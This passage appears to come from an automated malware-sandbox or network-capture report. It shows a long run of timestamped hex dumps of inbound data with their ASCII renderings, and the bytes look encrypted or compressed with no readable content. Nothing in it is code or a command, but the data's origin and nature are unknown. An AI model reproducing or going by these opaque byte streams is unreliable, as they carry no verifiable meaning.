be a7 8f 9b 65 c1 dc cd 4f 17 4c 83 95 87 e5 82 2c 33 Data Ascii: e}(Cf)~7AMSSJY,!^uOu{MvJ^k/BsZJyiT)&OR=.Hz~NwXLyF4OWUqwL2cMC'DIyQ9-q}G4K6~VT81B])eOL,3
2021-12-28 17:13:33 UTC	3663	IN	Data Raw: 46 39 a8 b5 91 9d 27 21 d4 2c 98 76 5c 75 29 5b 39 3d da 99 2f 36 b4 13 fd cd 56 1d 72 69 9e 3a 62 a6 a8 6e c5 4e 04 27 39 48 c3 70 b1 13 c4 e4 55 d7 50 04 76 e1 a0 d4 02 9f 37 1f 74 6b 9f 64 a5 63 b4 22 e6 64 23 4b 8a a3 08 36 c2 4b 4e 45 6e 3a 73 ce 77 13 da 7a a7 52 f5 e6 2b 81 1c b2 48 58 a7 f1 8c a4 c5 3a 79 cd 68 17 ac a1 10 0b db 5a 04 13 65 72 ff ea 0d 30 cd 35 51 bd cc 2f 13 0a 97 a9 ca 21 7d b2 40 3f fd 57 25 4b 0d a9 7b 67 17 27 4e 24 1c 65 07 8c d2 96 1a 20 d7 ea 4a a8 a0 49 fb 39 61 9d 63 24 1a 18 6b b4 9c 4c b6 5b ac 67 0d 53 7e 40 0f 21 0e b9 54 99 e9 7d c9 73 64 6d 7c 44 86 66 98 72 f7 82 ff 9b e2 b9 95 db ea 45 d7 de 38 6b a0 9b db ec 54 85 9b 3b da 34 f0 48 38 c0 9a cc df 9b 86 81 34 f6 38 3d 1b 7d 90 23 60 dd 3a 90 fe 43 ee a5 60 39 80 Data Ascii: F9'!,v\u)[9=/6Vri:bnN'9HpUPv7tkdc"d#K6KNEn:swzR+HX:yhZer05Q/!}@?W%K{g'N$e JI9ac$kL[gS~@!T}sdm\|DfrE8kT;4H848=}#`:C`9
2021-12-28 17:13:33 UTC	3679	IN	Data Raw: 43 fb c5 df e5 88 53 a9 0a 2c 93 a0 ad b8 18 08 e5 3d d6 d3 98 48 ca b6 57 64 9f ff 1c 6f 72 75 fb 5f 34 b5 78 4b 16 ca b3 db b5 34 ad 2c 71 f0 39 f3 45 38 9f b8 de 86 a5 1d 83 34 5a 73 63 69 83 81 70 6d e1 09 1f a0 60 89 2a 0d 54 ab c0 76 5c 39 06 cd 38 33 28 87 10 22 76 7f f9 09 2a ec 95 35 19 8a 93 51 93 92 05 87 a5 9d a9 76 8c f4 a3 4d dd c2 75 a3 9f 67 01 b0 db 9c 3d 0c 4b fe ff 84 b8 9e a4 73 3b 31 1b c8 5b ae f2 9c 2a e7 4b 26 b2 e3 2d 90 5d ce 37 d5 13 15 91 96 22 96 70 7b fd cb 43 2c 5f 18 1c 85 bb ca 47 7e 15 e2 a9 16 f6 bf d3 bc fb 9a e2 de f3 2c 61 b5 ff e0 8f a2 27 81 c4 1f 09 47 ae 49 a8 9b 2f 89 10 8d ce 0a 27 18 d5 a3 16 de 35 7b fb d2 a3 0e 5a 53 52 41 5d 4e 97 56 7e d2 11 58 26 cc 24 61 b0 34 7a bd ca a8 d7 96 13 d0 9b 64 90 fc 62 bc 69 Data Ascii: CS,=HWdoru_4xK4,q9E84Zscipm`Tv\983("v5QvMug=Ks;1[*K&-]7"p{C,_G~,a'GI/'5{ZSRA]NV~X&$a4zdbi
2021-12-28 17:13:33 UTC	3695	IN	Data Raw: a1 2b 1f ca 4a 5a a3 70 f1 99 bb bf b0 4c 78 b9 60 00 d8 9c f3 c4 b2 22 ff af b1 79 9a 42 8c c4 9d a1 8d 83 c2 5a 69 52 a7 1b f2 35 8e bc 72 db f9 a8 f5 64 47 34 e2 19 60 92 b9 a6 60 e8 88 b9 0f c2 1f d3 c8 73 db dd 9e c3 8a 51 06 c3 98 5b 14 01 91 bc f4 6e 48 ff 5c a1 d9 40 f1 d5 31 b8 fe 6b ba b2 b3 c7 ed d1 9b 03 42 9a 89 24 c7 26 ba 9b 4f a7 7c 77 96 d7 79 97 ca 19 ed 88 8e a4 03 42 6e 1c f8 9d 2e 89 82 09 db 8a bc dc a8 f3 e8 e1 c1 9e f7 23 1c 4d 57 0f d8 13 02 1d 81 b0 39 2d 9a bc fa 3c c1 3a 91 40 f6 06 bf e8 d7 42 c2 77 d4 63 7e b2 c7 f4 66 bf ed ed b6 1a d7 2d d6 10 61 a0 b4 78 61 b9 6d dc d7 83 af 56 d8 c4 eb 9f 0d 03 68 2b c7 4b ea 4f 09 c3 24 3f 93 57 86 ab cf 69 09 77 f1 96 54 2f d9 6e d8 2d 07 60 d1 3a ee 33 f7 66 74 02 de 26 94 19 f8 a1 e0 Data Ascii: +JZpLx`"yBZiR5rdG4``sQ[nH\@1kB$&O\|wyBn.#MW9-<:@Bwc~f-axamVh+KO$?WiwT/n-`:3ft&
2021-12-28 17:13:33 UTC	3711	IN	Data Raw: c5 de f4 42 aa 46 9c fd 2a 9c 94 82 79 cf d4 5e ff 09 96 b2 6f 07 75 e8 7c 2a c7 98 b1 ac fc a2 e1 48 a0 83 6a 95 be a8 12 5d 0a 2f 23 94 db 35 32 7c f3 50 df 8f 9c c5 8d 77 1f c3 b9 1f 5d a0 82 40 90 84 3b 6d 84 fc 6c 04 ca 9f 39 4e 1c 9d c9 6d df af 00 1d 44 6e b6 26 2e 1a e0 19 46 37 ca d8 e5 a7 21 c6 da e7 3e 49 19 62 14 6c b7 ce a2 5d a5 3b 85 6e 61 92 63 14 34 71 43 71 6a 94 60 85 39 50 88 72 e5 0e 23 49 70 b5 e4 93 4b 4c 48 22 04 dd 26 07 2c 36 0e 53 d7 fc 2b fc de b4 c7 19 00 d5 b9 8b 32 b5 e3 95 64 72 fe 0c 5c c9 cf 75 a2 bf 2c 05 cf 7b 2f 13 6b 60 2f 1d 68 7b 45 46 20 be 91 6e 5c 7e 04 c6 4a af 3a a5 00 77 2f e2 32 b1 16 e5 3e b7 73 f6 c6 66 3b e7 dd 99 73 a5 4e a0 dc f8 d6 6a f4 75 84 ed 12 8d 43 0b ee fb 18 a8 f2 77 cb 72 e2 f0 ac 77 47 2e 5e Data Ascii: BFy^ou\|Hj]/#52\|Pw]@;ml9NmDn&.F7!>Ibl];nac4qCqj`9Pr#IpKLH"&,6S+2dr\u,{/k`/h{EF n\~J:w/2>sf;sNjuCwrwG.^
2021-12-28 17:13:33 UTC	3727	IN	Data Raw: 74 1c c3 ef bd a9 8d 16 35 e7 dc 2e 01 68 e7 fd de 5c 34 d9 52 b4 41 44 9a b6 cf 12 8d 94 73 51 f0 f2 41 c6 eb 3f 92 05 49 93 a9 2e f8 ca 79 69 55 aa 70 b2 b4 b4 63 b5 2f e3 92 06 7f 08 e5 de 63 fe b3 08 37 a1 c7 b1 b4 56 43 a3 37 07 40 b4 5a 3f 24 f2 9e 7e 61 e4 3b ba 07 28 1c 9e e5 95 65 24 b5 f3 a3 2e 62 01 fc 9d 1d db ec 11 cc ec 23 45 6b 19 0a 0d 1e 93 00 a2 1f 77 b7 94 2a 2c d8 15 c5 4d cc c6 48 f3 83 53 eb 15 b8 54 59 5b ac c8 80 57 c5 fd f1 b1 5b 0c c7 ed 63 8c 6d fd bf 48 f5 24 73 0c 26 0d de b5 a6 8a b3 a2 3e 74 d7 1b 6b 57 84 2a 11 6a 96 2f dd c8 5f 7e 08 f0 45 3a 76 eb 92 ec a3 7d 9c 93 ed e3 14 37 46 87 dd 05 67 cb ea f5 4f 6c 09 93 23 a7 6d a3 b4 4e 6d 0d 50 1f fb b4 0c 5a 14 eb cb c3 d1 8a 1c 8e 1c c5 83 6a 0c 0e 97 9a f6 f3 f4 75 91 e5 df Data Ascii: t5.h\4RADsQA?I.yiUpc/c7VC7@Z?$~a;(e$.b#Ekw,MHSTY[W[cmH$s&>tkWj/_~E:v}7FgOl#mNmPZju
2021-12-28 17:13:33 UTC	3743	IN	Data Raw: f5 cd 95 14 66 e1 95 6a 97 c0 c8 9a 3f 13 06 07 95 3b 54 56 b8 d9 19 aa f0 48 11 02 13 2d f6 f0 b5 4b 86 06 73 59 b0 03 c2 60 1a 63 82 b7 74 75 0c af b5 1e dc 99 d9 2e 29 e6 15 16 c9 0a 3a ad 77 a5 98 6d 89 cf 38 5d e0 f9 d8 3e 04 69 3e 16 4e 1f 57 a9 ec fa 6b 06 bd c6 bf 88 ec 14 aa 15 bf db d0 05 11 3c c4 71 8b 58 ca 93 84 15 fe dd 1f de a7 73 89 56 e8 bf 68 a8 be 32 e7 c4 56 56 f9 42 a1 92 b9 70 a2 e7 ec a4 1d 18 41 ed 59 3e d8 bd 8c 3d 8b 0f 8e 2b ad ba 2a 7b 5c 07 2a f9 75 a1 39 2f 6b 1e 18 a9 98 72 9d 5f 33 8c ad 02 85 fa 74 3f a9 28 fc 87 9b 16 62 02 54 d0 5c 95 a8 cc 5e 40 b4 2c df d5 66 ee 7c a6 ce 39 27 26 e7 14 ec dd 1c 54 b7 4f a9 3e 45 27 d6 02 49 d5 6d 4e 45 74 75 f2 ee e5 e5 3f 19 c1 97 55 b7 9c 8f 10 ce 3b 24 b3 8f fb 2f f7 19 b0 bf 1f e8 Data Ascii: fj?;TVH-KsY`ctu.):wm8]>i>NWk<qXsVh2VVBpAY>=+{\u9/kr_3t?(bT\^@,f\|9'&TO>E'ImNEtu?U;$/
2021-12-28 17:13:33 UTC	3759	IN	Data Raw: f4 a5 55 81 db 83 7a 6e 76 b6 8d a1 4b dd a8 83 e5 cd 40 f3 cd aa 07 bb a3 7d 76 ac e2 9c 0c d3 6e fb 0e bd 03 9b 8e 2e 2d 26 0d d8 db 50 3b d5 b6 c5 bf ae 57 c5 f6 98 45 85 81 b8 12 53 b9 4e 3a e4 44 3c 85 e5 19 08 45 83 1f 54 28 f2 8e f5 be 1f 04 ca f9 e2 7f ca 73 32 c8 d1 9b aa 53 a9 30 98 b1 8f 31 87 73 26 a3 f0 81 ef 35 a3 e7 16 e9 07 31 e1 18 82 48 50 09 a1 bf 2f ac 5e f4 fb b4 e1 7e 6a c4 bf 0b 2f ed 4b d1 8d de 68 3f ad 2a 0e d9 50 c7 21 dd 77 10 de ad a6 f7 5f 66 27 00 52 eb 38 1f 65 c7 87 1b 9f ba 82 48 5a 88 e9 27 7d 00 81 14 7c 73 4d cc cd 73 2d 4c 72 14 b9 3a a4 e6 a1 5a 48 fc 6f 31 d9 93 3e d2 47 6f cd 5a d2 eb f2 02 c4 b6 5c 62 30 d8 8b 05 8b 5d 28 07 13 15 d2 cd f3 e9 db 5e 07 62 38 b7 b2 8d eb 58 d4 57 fe 6c 49 4e a4 5f d3 cc eb b4 2a 4c Data Ascii: UznvK@}vn.-&P;WESN:D<ET(s2S01s&51HP/^~j/Kh?P!w_f'R8eHZ'}\|sMs-Lr:ZHo1>GoZ\b0](^b8XWlIN_L
2021-12-28 17:13:33 UTC	3775	IN	Data Raw: 43 6b 49 9e f4 ef 94 f9 b7 b1 1c 9f 02 ef fd 2f ad 3b 3f cd 24 fd a1 1d 31 f1 11 36 2f ae c4 44 bc a3 86 69 a2 b9 8b 5b 08 26 fc f7 df 0e 04 05 aa e5 cb 03 61 b6 a9 b4 6d c8 4b c1 16 2c b0 26 db d3 97 d1 b7 8b b7 e4 3b 53 b5 86 f6 d1 fb 24 04 e9 94 66 5c 2f fc 53 5f f8 ba e8 bc b0 b1 20 ff 6a 14 45 70 36 6d 73 e6 13 f6 68 ab f6 42 b5 45 21 e2 e4 b5 7b f0 6c 11 48 46 e3 a4 4b c9 c8 99 11 95 28 3d 48 00 81 68 bc f5 50 b4 5c c9 65 ee b4 9f 8f 44 2c 70 81 c5 69 c3 15 c5 8f 1e 0e d1 ce 75 22 3e e2 55 68 d4 8b 63 fd f5 d7 10 81 8d 40 ff c9 3c 14 88 8d 8d e8 39 3f 4e 97 fb 47 70 36 6f 7b 36 a1 19 42 51 ea a8 fe ed 97 7e 24 9a 9c 8f ea 18 58 fa 15 46 27 c0 dc ad d8 5f eb 27 80 ad 5b 10 f0 85 63 51 22 d4 a1 b6 9d 05 74 31 01 26 b2 9b 97 1a b9 bb a4 9a 4d af 8f e4 Data Ascii: CkI/;?$16/Di[&amK,&;S$f\/S_ jEp6mshBE!{lHFK(=HhP\eD,piu">Uhc@<9?NGp6o{6BQ~$XF'_'[cQ"t1&M
2021-12-28 17:13:33 UTC	3791	IN	Data Raw: df f9 d4 43 6d 74 44 dc 2c 9d 0a ed 92 96 fb 9a d8 04 0f 58 45 b6 77 ce 84 91 6d ee ba 9c 99 04 4e 81 b2 2e 34 f7 a6 46 be 10 ff f0 e6 ee a5 65 ca 11 29 57 67 ac 22 a6 56 af ef 1f dd 92 f2 bf cb 51 2a 34 55 eb ac e8 58 70 18 8f d0 7b 99 4f 5c 29 f0 73 0c 70 2a 15 67 14 79 ce 2b 5f b0 49 1b ce 08 b9 a8 ce ab 89 2e 89 95 37 5f 0f 7d a7 d0 5f 81 58 3f 4c ce 4c 3b 08 70 71 94 91 6e 7f e6 38 91 d6 5c a5 27 92 88 09 cf 92 a8 b7 38 ce 87 83 d0 9d ab 07 72 5e 0a 81 73 41 ad 4b 6d a4 e4 30 a2 6f 7c d0 f3 e3 4a 91 dd d7 94 e4 23 20 2b 07 8f 21 a5 3f 15 0b d5 55 95 6e ba d6 33 d6 85 49 b9 66 2f 0a 50 96 40 6a 0c 89 72 76 a5 0f 69 96 dd 93 46 d2 28 2f 3d a8 d7 76 f6 8d 39 87 cb 89 5d fc 57 d5 a0 d5 d4 6e 00 84 ad f6 58 eb 3e 5a 1a bf cb 89 bb 33 bb da 00 9f 27 75 88 Data Ascii: CmtD,XEwmN.4Fe)Wg"VQ4UXp{O\)spgy+_I.7_}_X?LL;pqn8\'8r^sAKm0o\|J# +!?Un3If/P@jrviF(/=v9]WnX>Z3'u
2021-12-28 17:13:33 UTC	3807	IN	Data Raw: ed 0f 4f a8 32 fe 4f 14 13 95 48 4e 4e eb 5c d2 fb 5f 89 8b d0 00 c4 52 75 b2 33 39 3a 8c e9 60 b6 0a 62 ca 35 a6 39 d7 e2 80 aa a8 cc 4a 78 f2 51 ce 1a 91 47 66 df d1 cd 01 34 8b 49 aa 0a d6 cd 7a 3a 5f 76 ca 13 19 8d ea 9c 99 a9 2c fd a0 30 5c ac dc 14 72 d6 e9 94 a3 0f 11 c6 6f 08 58 2b e3 3b 27 ee e7 ae 30 0b e2 f3 3f 38 bb b6 a9 a8 7b c1 53 8c 3f 25 5f 45 11 be 62 d4 92 f9 1c 53 27 bb e0 d1 cc 01 3a 4b 18 ea 16 ed 5f 4c 65 14 32 5b 86 13 db 1e e0 42 48 96 06 60 02 08 98 5a a1 dc 40 93 13 b6 ea 40 f6 e4 ae 5b 85 68 2e 1e e3 bf cd 8f d0 08 5f 8d 8f 7c ba 6b 7f 8a 9f ac 45 2e 77 ae 3c 3d ad fb a0 93 52 fe 96 c8 5c b3 33 60 72 b1 02 24 a8 e4 8b 3f d3 e9 aa f9 d0 b0 7d b7 00 e8 bd 41 f9 39 af 78 cd b0 cf 93 63 e2 55 33 a8 bb d9 6f c2 1c 38 49 11 cf 1c 17 Data Ascii: O2OHNN\_Ru39:`b59JxQGf4Iz:_v,0\roX+;'0?8{S?%_EbS':K_Le2[BH`Z@@[h._\|kE.w<=R\3`r$?}A9xcU3o8I
2021-12-28 17:13:33 UTC	3823	IN	Data Raw: 44 7c 70 70 76 96 4f 88 f9 28 37 50 64 40 4e b5 f3 1e 2c b6 17 30 4d 5e 83 70 d3 9d 23 03 2e ec d2 7c df d6 c3 6e 46 9f c2 e8 8c 81 24 6e 88 1c d1 70 7b 76 ae 32 73 fb ec e6 16 15 23 65 e0 a4 68 58 fa b4 da 9c 76 5e ca dc af b8 7a f6 5e 00 d2 00 f1 8b ee ee fa ae 64 95 dc 14 14 71 7c db 6d c1 46 56 4f 48 b2 69 60 b4 0d 0b 5d d0 67 39 a0 02 7b 88 db 51 0d ea ca 54 29 e9 8c df e8 e9 15 e5 16 cb e9 57 18 30 1d 4a d9 f0 b7 aa ec 21 d8 b6 84 33 30 07 d0 cd 7e b3 2b 38 aa 92 69 d3 05 37 4b 7d a7 64 0a 71 b6 bf 86 95 56 33 bc 80 bd 02 8b a8 c2 ce d6 11 6d 60 ea ad 00 5e 39 10 e2 15 18 9a 3d 40 a1 1b 53 6b 69 fc 84 d0 7b 0c c2 34 4a a1 0c 2d b1 00 2f 81 95 f3 0c 57 17 a2 7b 47 e5 34 f0 59 ed cd b7 62 fa b0 76 0a 2d 1b 2e 05 12 f0 b4 51 a5 1c af 8e 54 d9 c0 e8 bc Data Ascii: D\|ppvO(7Pd@N,0M^p#.\|nF$np{v2s#ehXv^z^dq\|mFVOHi`]g9{QT)W0J!30~+8i7K}dqV3m`^9=@Ski{4J-/W{G4Ybv-.QT
2021-12-28 17:13:33 UTC	3839	IN	Data Raw: 58 45 85 a9 82 13 cc ea 32 ab 6b d2 da 96 d9 4b b2 4d a4 37 65 4f 22 c0 a2 3c 4f 90 e7 94 4a 87 f1 1e 10 a8 92 fa b1 32 7e e8 2f 5e f1 03 1a 27 20 f5 8d ba db ec 8c c6 22 9e e6 e8 7f 48 d3 2f b2 56 2a 29 3d 9b ff 40 f2 2d 3f 44 f3 a6 ae ea 95 54 03 1e 07 57 d5 02 b6 c7 6c 77 9b 79 fe 4e d0 21 ea 8b d3 3a f1 21 87 2a b0 65 27 2f fe 6c 12 5e 61 a1 ed 8d e9 6e de 9b d7 51 c4 61 44 94 fc dc e3 1b 42 cc 29 c9 2a 80 d1 02 3c 3a 61 2e 29 09 05 2c f5 2c 2a 71 6c 97 3b 41 93 93 2b 53 e8 ae 28 03 fd 43 be 2e 2c 90 fa 88 f4 df 28 1d 1f 84 69 1f 63 57 71 cb 2e f1 28 ca a8 77 95 53 a7 c9 b2 30 2a f8 e6 bd 4a a5 c5 30 06 2e b6 79 8b 29 65 1a 2f 54 9c a0 0d 1e 5f 8d 9d 7c 8a 17 41 2f 68 44 c5 aa 68 02 a7 02 40 ef f6 12 01 aa a6 11 01 ee 3e 39 a9 f4 70 64 75 b5 78 df c7 Data Ascii: XE2kKM7eO"<OJ2~/^' "H/V)=@-?DTWlwyN!:!e'/l^anQaDB)<:a.),,ql;A+S(C.,(icWq.(wS0*J0.y)e/T_\|A/hDh@>9pdux
2021-12-28 17:13:33 UTC	3855	IN	Data Raw: a4 96 0b 0d de f6 a8 64 1f 1b 99 a6 22 93 83 f6 46 2a d5 a4 67 49 db 67 7a 9d 3e 10 3f 63 16 76 1c ff d8 b9 71 50 6f 36 eb f0 f5 71 96 a0 35 c1 e8 98 3d a4 5a 4c 91 e3 96 5d 40 2d e1 6c 7d 27 2b 2a 37 36 df 56 cb 8f 15 6f ec ba 44 f2 f0 36 16 53 a0 c5 36 b3 36 84 d7 f3 f0 46 8f a1 aa d8 b3 70 09 b2 5a b0 fc d8 e5 d0 93 77 ec bd 72 aa d5 52 21 66 9d 81 83 0b 7f 9b df 81 e8 1d 22 19 38 de 82 96 f7 2e 7b 5d 23 e6 f6 1f 50 31 52 58 17 3f 72 15 2d 7c 45 79 05 2b 1e f1 a3 ef 08 d1 cf ab 91 95 43 9b 9b b8 aa 8e 09 8d 42 51 e1 4a d1 54 08 8e 93 df 68 b8 78 11 51 5a a9 d8 ba 57 40 2e dc 06 f6 f3 91 de 5d 88 6c a3 4a 4a 06 f2 5c 4d d4 5f f8 c5 47 f9 e6 b3 1a 8a 47 4c ec f9 51 11 cb b0 cc 96 c2 4b 5a ca 05 82 95 7a 41 f8 49 3d 4f af b3 e3 a1 61 9e 11 76 de e8 63 b9 Data Ascii: d"FgIgz>?cvqPo6q5=ZL]@-l}'+76VoD6S66FpZwrR!f"8.{]#P1RX?r-\|Ey+CBQJThxQZW@.]lJJ\M_GGLQKZzAI=Oavc
2021-12-28 17:13:33 UTC	3871	IN	Data Raw: 1d 35 74 92 7f 4e fa 8f 1f b1 ea 5b 2d 7a ac 30 40 23 df 3b 29 ca cb d0 17 52 b1 e9 ce ef fa 67 0c fe 2a 51 ab 41 46 5a 6f 33 f9 c6 dc 26 54 14 c5 08 a2 45 91 70 87 4d 2c bc 0d 64 c8 b9 39 13 2e 72 22 28 80 0f 8a 6b ed a0 f9 97 23 39 6e c7 b5 dd d3 75 e4 76 d2 75 7b 01 e1 1b bb cc 3b 8c 97 07 94 b5 61 c1 c3 b4 ba f2 50 f1 1f b6 0e c2 f9 9f 8f 57 16 a8 4b df 26 b9 33 c2 3a 43 5c 16 d6 ed 1e 51 d3 b1 ba b4 29 bb 08 b7 7e 75 08 a3 6a 00 92 c5 88 db 71 4d 8f a8 31 bb db d3 38 75 e6 97 36 64 32 82 da 1f e2 6b 30 35 8a dd d6 3d 90 45 4f 00 21 ad f9 d3 42 af 67 53 c7 1f de 04 85 81 f9 b5 1e 1f 80 0f db 48 f0 73 b4 13 90 85 da 25 08 6d 0c f5 19 43 c7 67 0e c8 5f e2 f1 e0 66 68 01 3f 42 b6 6b 0c 41 40 32 7d 03 8d 3e ac 10 7f 27 dc de ed 79 54 39 8b 23 32 8a f9 b3 Data Ascii: 5tN[-z0@#;)Rg*QAFZo3&TEpM,d9.r"(k#9nuvu{;aPWK&3:C\Q)~ujqM18u6d2k05=EO!BgSHs%mCg_fh?BkA@2}>'yT9#2
2021-12-28 17:13:33 UTC	3887	IN	Data Raw: 70 bd f4 de ec ab 61 df 47 b1 23 9f 74 86 18 21 d8 b8 c5 60 aa b3 2a 31 86 a8 9c 3c 8a f6 d5 32 6f 54 94 14 f7 b7 a7 fe a3 67 cf 1d 36 66 5a 53 89 99 c2 7b 89 54 ca 95 46 c3 44 be d1 91 f8 20 31 70 14 1a 17 73 39 d4 13 9f d2 b0 89 b8 a6 be 05 2e cb 3f 97 1e 16 e1 7f c2 89 56 47 a9 10 87 f8 21 c4 90 f6 b1 89 f8 a7 d4 36 f8 5f 0d 62 43 49 59 93 f7 cb 09 b5 a2 2b 31 8b 96 2e a9 f5 b5 99 4c e7 0d 22 32 bd 0e 3b 6b 3c 24 c1 e3 05 21 4f 9d 57 5a bf f3 a0 0e 21 64 d7 b8 cf 5f 30 68 78 25 d9 cb 5f cd 68 f7 cf 77 16 4c ef 74 cb 23 78 59 87 e6 33 b1 25 11 e3 a0 1c b9 ec ec 1c b2 a6 56 2a b6 da 07 66 ff fe 91 f5 40 cf f3 7f 52 6c a1 a8 d8 6d e4 56 4a 8f 0d 82 d8 b1 31 0a 35 16 c9 6e c9 98 77 d3 5a 8f 7a 94 95 f0 6d c6 df 32 7f f5 d5 8c 03 bb 8c e6 2b d5 fb 80 b1 64 Data Ascii: paG#t!`1<2oTg6fZS{TFD 1ps9.?VG!6_bCIY+1.L"2;k<$!OWZ!d_0hx%_hwLt#xY3%Vf@RlmVJ15nwZzm2+d
2021-12-28 17:13:33 UTC	3903	IN	Data Raw: 01 d6 12 3f bc f0 9f 24 36 2c b8 5e 3c 97 30 12 d2 e7 33 55 22 61 4b dc bb 71 f3 e4 25 30 1d 30 20 45 53 63 4a df f0 8c f2 17 d6 5e 02 52 51 72 d4 d4 e2 7b a1 84 bb a3 78 92 8e 38 9a 86 fa ce a1 23 8f bd 4f 66 d3 f0 26 21 e1 c8 38 98 3b 9e e8 bf 30 8c 2c c4 45 6b 27 da bb bc 97 83 71 f4 50 4b 83 10 70 28 a0 54 0c a4 6c e2 a7 b1 62 4b ed 82 c6 4a 25 4e 5a 37 f7 5c a0 9b e6 d2 8f 84 79 fa 56 0a c0 c5 23 fa f2 2a 8e 82 0d f8 a7 83 42 d7 09 66 ed fe 11 d7 79 b6 31 eb a6 88 33 a5 49 69 ec 72 f6 62 d9 e0 e8 c1 4c 52 fe 24 3b 40 77 18 91 d3 d9 d9 a5 8f 5b 1b dc 25 79 71 34 57 e5 2f 89 c4 ca 4f 9e 4d c4 4c 47 6a eb b5 7c a6 d9 76 21 e7 8d 8e 0a 1e 33 3c 17 5f 86 7f 22 18 12 e5 69 8a b8 76 67 08 1b 86 45 03 56 b5 68 b4 04 c9 24 95 1d b1 31 7c f2 3e 9d df 63 18 a2 Data Ascii: ?$6,^<03U"aKq%00 EScJ^RQr{x8#Of&!8;0,Ek'qPKp(TlbKJ%NZ7\yV#*Bfy13IirbLR$;@w[%yq4W/OMLGj\|v!3<_"ivgEVh$1\|>c
2021-12-28 17:13:33 UTC	3919	IN	Data Raw: 23 dc 84 51 26 05 fa 2f 21 ae a3 5d 64 9a e1 61 9c e1 e9 79 b8 63 e0 8f 86 22 37 80 d4 e4 d7 e6 6c a8 78 6d ab c2 67 4c 94 27 09 3c 1b 5b 47 df 50 d1 bd cf 3e 3d dd cf 05 22 81 a4 79 6a 24 af 85 be 08 23 62 f8 3e 4d db 3b c0 30 da 69 32 17 19 d2 fc 5d 64 09 a9 82 11 ad 91 84 4e 19 9f e7 70 d4 3e d1 37 20 f0 c9 15 bc e7 06 b2 9e a6 f2 59 84 7e 60 37 89 c5 d9 5b bb f7 d6 db 59 02 4c 03 f1 5e e2 44 4b 68 1c b4 2f 8b 4b 46 29 68 38 71 e6 c2 06 1f 5c 99 0c b0 fa ac 05 d6 0a b1 a8 53 cd 72 19 d6 41 98 52 17 f3 e3 21 44 5d 93 38 9b 50 f2 cd 7d 50 f2 57 3b 9a a2 83 45 97 07 bf 34 cc 58 95 cf a6 7a 2c 4b bb 2b 50 8c cb be 0b e8 e5 55 a6 e7 1b 70 04 a2 cd a9 05 cc 2b 4e c2 8e cf 70 7c f8 e0 c7 7f a8 16 05 22 b9 88 0a 95 24 f4 9d 7f 62 fe b8 fa a1 c2 47 3f ab 0a e1 Data Ascii: #Q&/!]dayc"7lxmgL'<[GP>="yj$#b>M;0i2]dNp>7 Y~`7[YL^DKh/KF)h8q\SrAR!D]8P}PW;E4Xz,K+PUp+Np\|"$bG?
2021-12-28 17:13:33 UTC	3935	IN	Data Raw: c8 a1 d0 aa a7 c1 8f 6c ea f2 a5 1d c7 f2 79 53 27 d0 47 89 90 82 43 a2 15 81 f2 a8 5e 3a 7f 61 1a cf be d3 81 b7 cc 69 65 bf 07 4f 79 84 ab e6 c0 8a 8f ed 44 33 77 61 ab b0 89 5c 92 60 2f b9 84 e2 c5 0b b0 e7 f2 4c ec 20 9d bf 49 12 25 79 8c e4 2c f8 d5 7a 0c 3b 0d 66 b0 5b 01 92 3e 1b 62 c9 d3 0a 18 8b 3f 6d 02 b1 91 86 08 3e 50 4e 4a 4c b0 2d 38 f4 18 11 57 f4 84 47 a1 8d 70 b1 71 6f db 95 5f d3 01 1e 60 65 fe c9 d6 e3 9c 6f 9e f7 fd fa 46 0c 35 28 04 74 41 e4 7b 97 bc 8c 23 5a e5 ce 37 d8 cb e5 73 06 4b e7 77 42 8d 97 a0 ca 5a 52 d7 18 51 57 c0 93 d6 9e 85 4d f7 3e 87 bd 4f 35 ce 12 a7 82 33 e3 aa d1 02 98 13 72 8b 58 a4 68 80 96 7f db 94 6f 81 72 cc 96 70 0a 07 7c fb 01 6b 3e a2 ca df e0 d3 dd 73 80 2b aa b1 ec 6d 1a e2 51 50 85 ca be 86 a9 74 60 99 Data Ascii: lyS'GC^:aieOyD3wa\`/L I%y,z;f[>b?m>PNJL-8WGpqo_`eoF5(tA{#Z7sKwBZRQWM>O53rXhorp\|k>s+mQPt`
2021-12-28 17:13:33 UTC	3951	IN	Data Raw: a6 74 5f 63 4e 6b 00 b4 e8 14 11 c6 35 88 4f d2 37 31 57 12 d9 0e 26 66 f5 71 e1 4c 76 ca 9b e2 31 83 2c 06 5c 48 88 09 c8 26 3e 62 83 df d5 b7 6c d3 30 49 ed 72 ce b7 95 33 a5 d1 aa 88 a5 de 38 45 67 13 b8 48 16 ba 9d 65 36 f3 44 58 5e 75 a3 9e 6a 32 38 b9 ba c0 1f d7 6c 05 63 9b e3 cb 1f 5a 22 8e b6 e7 89 70 4d 7d a2 66 0a 6d 57 1f e4 4c 16 53 ce 2f 76 f5 51 86 21 ce 6b 34 45 25 37 f3 f4 2e 9e 75 5b f3 48 39 ee ec 9d fa 21 f1 d9 df 11 49 45 b7 93 54 80 c2 63 1a 78 2b 1f e6 c3 6f 43 3a 1f 6c 41 25 d2 cc 82 4b b1 11 ed 8d b3 d1 27 96 af eb f9 04 3f 20 9b b8 e2 ed 32 83 3d ce ca 9f 63 c3 e8 89 d5 07 57 b6 98 68 ef ce 27 c4 5f b0 73 1d 79 96 b1 01 fb e9 e7 6e 48 12 09 d5 2b 6f 53 1b 47 97 d8 d2 db 54 f8 54 90 e1 2b 05 b9 2f 65 1a f4 58 9b 8e bd 86 57 2e ad Data Ascii: t_cNk5O71W&fqLv1,\H&>bl0Ir38EgHe6DX^uj28lcZ"pM}fmWLS/vQ!k4E%7.u[H9!IETcx+oC:lA%K'? 2=cWh'_synH+oSGTT+/eXW.
2021-12-28 17:13:33 UTC	3967	IN	Data Raw: a7 b1 bb 16 97 7b 60 82 b9 84 86 7e 49 c4 4b 04 ac aa 71 63 07 15 7a eb 9a 38 23 0b 6a c4 a2 79 81 77 49 8d e7 a5 44 fe 07 1d 18 97 95 53 77 34 d2 d3 9f 3d c3 6c f3 35 af 43 68 88 5e d7 90 fc cf 8f 90 99 5b e0 05 49 36 5e 6e 1d 3d 14 8d 23 ec 5b 55 f5 8f 4d 71 be 09 67 d4 6f 98 1a ff df 73 4e a4 b2 0f df e8 06 4e 1a 37 b6 c0 91 c8 6e 4c e9 af 8d a2 39 a6 da 77 d3 ca c5 c2 41 16 90 dc 34 3c 6e 6a 7c 75 74 a9 e0 d0 09 52 34 6a 35 78 d7 9f f5 98 f9 b7 5f 1c 7a eb 21 c6 cf e2 43 89 2a b2 30 23 8b fc 86 1c 58 cd a2 c8 e5 8b c1 bf 81 1a 06 e8 7b 36 f9 1b 32 36 0f 69 69 b9 86 2d df e6 45 cd 21 92 87 68 fb 99 ed fe 48 